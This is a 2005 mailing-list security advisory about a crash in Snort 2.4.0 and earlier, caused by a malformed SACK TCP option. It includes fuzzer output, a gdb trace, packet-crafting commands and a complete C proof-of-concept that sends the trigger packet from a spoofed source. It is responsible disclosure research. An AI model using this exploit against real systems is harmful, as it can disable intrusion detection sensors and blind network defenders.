Vulnerability Development mailing list archives

Snort <= 2.4.0 SACK TCP Option Error Handling


From: "A. Alejandro Hernández" <nitrous () vulnfact com>
Date: Sun, 11 Sep 2005 16:33:32 -0600


 Snort <= 2.4.0 SACK TCP Option Error Handling


Package: Snort 2.4.0 (And previous versions)
Vendor url: http://www.snort.org
Class: Error Handling Exceptional Conditions
Risk: High
Credits: A. Alejandro Hernández Hernández
Contact: nitrous[at]vulnfact[dot]com


*BACKGROUND*
Snort is an open source network intrusion detection and prevention system. It is capable of performing real-time traffic analysis, alerting, blocking and packet logging on IP networks. It utilizes a combination of protocol analysis and pattern matchingin order to detect a anomalies, misuse and attacks.


*DESCRIPTION*
A vulnerability found in PrintTcpOptions() function located in snort-2.4.0/src/log.c could allow an attacker to craft a malformed TCP/IP packet and make a DoS or totally crash Snort in a remote system. To test it, Snort needs to run in verbose mode (switch -v). See the Analysis section for technical details.


*VULNERABLE VERSIONS*
The vulnerability was discovered and researched on the following packages:
# snort 2.4.0 @ OpenBSD 3.7 GENERIC
# snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
# snort 2.3.2 @ Debian Linux 3.1 "Sarge"
# snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
# snort 2.3.0 @ Red Hat Linux 9
# snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
# snort 2.0.0 @ OpenBSD 3.5 GENERIC
Is suspected that previous versions are also affected by this vulnerability.


*DISCLOSURE TIMELINE*
Flaw Discovered: 20/08/2005.
Vendor Notification: 22/08/2005.
Vendor Response: 23/08/2005.
Date Published: 11/09/2005.


*ANALYSIS*

Fuzzing Snort 2.4.0 with fuzzball2 I got:

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36
127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20 DgmLen:40 DF
***A*R** Seq: 0x0  Ack: 0x4A2AC316  Win: 0x0  TcpLen: 20
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00  .(.@@.@.<.......
0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14  ...Pr.....J*..P.
0x0030: 00 00 31 76 00 00                                ..1v..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
******S* Seq: 0xCC1016F  Ack: 0x43F18422  Win: 0x16D0  TcpLen: 24
TCP Options (2) => Violación de segmento

The process catch a SIGSEGV signal, ok, now I need to know what packet number crash Snort:

root@blackb0x # snort -veX -i lo -q > DUMP.log
Violación de segmento
root@blackb0x # grep 127 DUMP.log | wc -l
123

At this moment I know that the packet number 123 is the evil (may change) hu! ;)...
Attaching Snort to GDB:

root@blackb0x # gdb -q snort
Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r -veX -i lo
Starting program: /usr/local/bin/snort -veX -i lo
...SNIPED...
08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
******S* Seq: 0xCC1016F  Ack: 0x43F18422  Win: 0x16D0  TcpLen: 24
TCP Options (2) =>
Program received signal SIGSEGV, Segmentation fault.
0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543
1543                    memcpy(tmp, p->tcp_options[i].data, 2);
(gdb) print tmp
$1 = "\000\000\000\000"
(gdb) print p
$2 = (Packet *) 0xbffff360
(gdb) print i
$3 = 0
(gdb) print p->tcp_options[i]
$4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
(gdb) print p->tcp_options[i].code
$3 = 5 '\005'
(gdb) x/4b p->tcp_options_data
0x824edd0:      0x05    0x02    0x00    0x00

The error is in line 1543 from log.c:

root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep -C 10 1543
 1533              case TCPOPT_NOP:
 1534                  fwrite("NOP ", 4, 1, fp);
 1535                  break;
 1536
 1537              case TCPOPT_WSCALE:
 1538                  fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]);
 1539                  break;
 1540
 1541              case TCPOPT_SACK:
 1542                  bzero((char *) tmp, 5);
 1543                  memcpy(tmp, p->tcp_options[i].data, 2);
 1544                  fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp));
 1545                  bzero((char *) tmp, 5);
 1546                  memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
 1547                  fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
 1548                  break;
 1549
 1550              case TCPOPT_SACKOK:
 1551                  fwrite("SackOK ", 7, 1, fp);
 1552                  break;

Reading the GDB's output I found that p->tcp_options[i].code value is 5 (TCPOPT_SACK).

Analyzing the Raw packet with tcpdump:

#tcpdump -i lo -eXX -c 123 | tail -5
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840

0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,ŒO..ÿ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....rÇ.P.�.oCñ."
0020: 6002 16d0 3caf 0000 0502 0000            `..�<¯......

I think that the last 4 bytes are the evil ;) and make my own packet:

root@blackb0x # printf "\x05\x02\x00\x00" > payload
root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876 -o ./payload
TCP Packet Injected

And again, I got:

root@blackb0x # snort -veX -i lo -q
08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20 DgmLen:44
******S* Seq: 0x46FE88E2  Ack: 0x1494CF39  Win: 0x1000  TcpLen: 24
TCP Options (2) => Violación de segmento

But the flaw doesn't appear to effect IDS mode in standard configurations (without -v flag):

root@blackb0x # snort -c etc/snort.conf -D
root@blackb0x # ps aux | grep snort
root      9947  5.3 31.6  38616 34720 ?        Ss   11:24   0:00 snort -c etc/snort.conf -D
root      9949  0.0  0.6   3384   760 pts/1    S+   11:24   0:00 grep snort
root@blackb0x # ./snortrigger localhost
-=[ Snort <= 2.4.0 Trigger p0c
-=[ By nitr0us
-=[ Sending Malformed TCP/IP Packet...
-=[ Sent 44 bytes to localhost
-=[ Snort killed !
root@blackb0x # ps aux | grep snort
root      9947  1.9 31.6  38616 34736 ?        Ss   11:24   0:00 snort -c etc/snort.conf -D
root      9952  0.0  0.6   3384   760 pts/2    S+   11:24   0:00 grep snort

See below for PoC code.



*PROOF OF CONCEPT*

/*_------------------------------------------_
||------+ Snort <= 2.4.0 Trigger p0c +------||
||__________________________________________||
||--=[ nitrous [at] vulnfact [dot] com  ]=--||
||--=[      VulnFact Security Labs      ]=--||
||--=[           21 Ago 2oo5            ]=--||
||--=[              Mexico              ]=--||
||__________________________________________||
 -__________________________________________-

Snort <= 2.4.0 SACK TCP Option Error Handling
Este código envia al  especificado un paquete TCP/IP con 4 bytes extras
correspondientes al campo TCP Options [TCP Header].
Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se
esta corriendo en verbose mode (-v).

Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde
pase este paquete lo descartara por no tener una checksum valida.

RFC #1072 - TCP Extensions for Long-Delay Paths

3.2- TCP SACK Option:
     ...
     Kind: 5
     Length: Variable
     +--------+--------+--------+--------+--------+--------+
     | Kind=5 | Length | Relative Origin |   Block Size    |
     +--------+--------+--------+--------+--------+--------+

Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,ŒO..ÿ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....rÇ.P.�.oCñ."
0020: 6002 16d0 3caf 0000 0502 0000            `..�<¯......

Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)...
Federico L. Bossi Bonin
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD     1       /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD     1       /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE  sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP  "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
        fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
        fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

        return 0;
}

int main(int argc, char **argv)
{
        char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
        char *srcip = DEFAULT_SRC_IP;
        int sockfd, count;
        int one = 1; /* setsockopt() */
        struct sockaddr_in target;
        struct hostent *host2ip;
        struct ip *IP = (struct ip *) packet;
        struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

        if(argc < 2)
                return(usage(*argv));

        if(argc == 3)
                srcip = argv[2];

        if((host2ip = gethostbyname(argv[1])) == NULL){
                perror("gethostbyname");
                exit(-1);
        }

        if(getuid() != 0){
                fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
                exit(-1);
        }

        memset(packet, 0x00, sizeof(packet));

        memset(&target, 0x00, sizeof(target));
        target.sin_family       = AF_INET;
        target.sin_port         = htons(64876);
        target.sin_addr         = *((struct in_addr *)host2ip->h_addr);

        /*** BUILDING MALFORMED PACKET ***/
        IP->ip_hl    = 0x05;
        IP->ip_v     = 0x04;
        IP->ip_tos   = 0x00;
        IP->ip_len   = IPSIZE + TCPSIZE + 4;
        IP->ip_id    = 0x00;
        IP->ip_off   = 0x00;
        IP->ip_ttl   = 0xff;
        IP->ip_p     = IPPROTO_TCP;
        IP->ip_sum   = 0x00;
        IP->ip_src.s_addr = inet_addr(srcip);
        IP->ip_dst.s_addr = target.sin_addr.s_addr;

        TCP->th_sport        = htons(31337);
        TCP->th_dport        = target.sin_port;
        TCP->th_seq  = 0x00;
        TCP->th_ack  = 0x00;
        TCP->th_x2   = 0x00;
        TCP->th_off  = 0x06;
        TCP->th_flags        = 0x00; /* NO Syn ;) */
        TCP->th_win  = htons(0xffff);
        TCP->th_sum  = 0x00;
        TCP->th_urp  = 0x00;

        memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
        /*** END ***/

        if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
                perror("socket");
                exit(-1);
        }

        if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
                perror("setsockopt");
                exit(-1);
        }

        printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
        printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
        printf("-=[ Sending Malformed TCP/IP Packet...\n");

        if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){
                perror("sendto");
                close(sockfd);
                exit(-1);
        }

        printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
        printf("-=[ Snort killed !\n");

        close(sockfd);
        return 0;
}



*VENDOR RESPONSE/WORKAROUND*
Still working to release Snort 2.4.1.


*RELATED LINKS*
This Security Advisory
http://www.vulnfact.com/advisories/snort_adv.html

Proof of Concept code
http://www.vulnfact.com/exploits/snortrigger.c

Fuzzball2 TCP/IP Options Fuzzer
http://www.nologin.org/main.pl?action=codeView&codeId=54&; <http://www.nologin.org/main.pl?action=codeView&codeId=54&;>

RFC #1072 - TCP Extensions for Long-Delay Paths
ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt

TCP Option Numbers
http://www.iana.org/assignments/tcp-parameters


Current thread: